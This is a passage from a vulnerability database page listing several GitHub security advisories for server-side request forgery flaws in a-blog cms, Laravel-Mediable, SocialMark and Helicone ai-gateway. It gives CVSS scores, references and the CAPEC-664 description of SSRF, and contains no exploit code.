  "details": "Server-side request forgery vulnerability exists in a-blog cms multiple versions. If this vulnerability is exploited, a remote unauthenticated attacker may gain access to sensitive information by sending a specially crafted request.",
  "id": "GHSA-9fjv-px63-6jvj",
  "modified": "2025-05-19T09:31:10Z",
  "published": "2025-05-19T09:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36560"
    },
    {
      "type": "WEB",
      "url": "https://developer.a-blogcms.jp/blog/news/JVNVU-90760614.html"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU90760614"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9FMC-J924-GHH2

Vulnerability from github – Published: 2026-07-13 21:31 – Updated: 2026-07-13 21:31
VLAI
Details

Laravel-Mediable before 7.0.0 contains a server-side request forgery vulnerability that allows remote attackers to issue arbitrary HTTP requests from the server by supplying unvalidated caller-controlled URLs to endpoints backed by MediaUploader::fromSource(). Attackers can craft URLs targeting RFC-1918 addresses, loopback interfaces, cloud metadata endpoints, or file:// URIs through RemoteUrlAdapter to reach internal infrastructure, retrieve sensitive files, and exfiltrate cloud credentials such as IAM tokens from instance metadata services.

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-49969"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T19:17:09Z",
    "severity": "MODERATE"
  },
  "details": "Laravel-Mediable before 7.0.0 contains a server-side request forgery vulnerability that allows remote attackers to issue arbitrary HTTP requests from the server by supplying unvalidated caller-controlled URLs to endpoints backed by MediaUploader::fromSource(). Attackers can craft URLs targeting RFC-1918 addresses, loopback interfaces, cloud metadata endpoints, or file:// URIs through RemoteUrlAdapter to reach internal infrastructure, retrieve sensitive files, and exfiltrate cloud credentials such as IAM tokens from instance metadata services.",
  "id": "GHSA-9fmc-j924-ghh2",
  "modified": "2026-07-13T21:31:24Z",
  "published": "2026-07-13T21:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49969"
    },
    {
      "type": "WEB",
      "url": "https://github.com/plank/laravel-mediable/commit/7e9e3000fa05fe16e678f15bfb51a091e60c2cb8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/plank/laravel-mediable/releases/tag/7.0.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/laravel-mediable-ssrf-via-remoteurladapter-url-handling"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9FV7-HP8V-PJRP

Vulnerability from github – Published: 2025-06-06 15:30 – Updated: 2026-04-01 18:35
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in ShawonPro SocialMark allows Server Side Request Forgery. This issue affects SocialMark: from n/a through 2.0.7.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-29008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-06T13:15:30Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in ShawonPro SocialMark allows Server Side Request Forgery. This issue affects SocialMark: from n/a through 2.0.7.",
  "id": "GHSA-9fv7-hp8v-pjrp",
  "modified": "2026-04-01T18:35:18Z",
  "published": "2025-06-06T15:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29008"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/socialmark/vulnerability/wordpress-socialmark-2-0-7-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9FXJ-MCHQ-843P

Vulnerability from github – Published: 2026-07-13 00:31 – Updated: 2026-07-13 00:31
VLAI
Details

A flaw has been found in Helicone ai-gateway up to 0.2.0-beta.30. This affects the function build_target_url of the file ai-gateway/src/dispatcher/service.rs of the component AWS Metadata Service. Executing a manipulation of the argument extracted_path_and_query can lead to server-side request forgery. The attack can be executed remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-15508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-12T23:16:36Z",
    "severity": "LOW"
  },
  "details": "A flaw has been found in Helicone ai-gateway up to 0.2.0-beta.30. This affects the function build_target_url of the file ai-gateway/src/dispatcher/service.rs of the component AWS Metadata Service. Executing a manipulation of the argument extracted_path_and_query can lead to server-side request forgery. The attack can be executed remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-9fxj-mchq-843p",
  "modified": "2026-07-13T00:31:41Z",
  "published": "2026-07-13T00:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15508"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscar2744/CVE-Submit/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-15508"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/845671"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/377837"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/377837/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list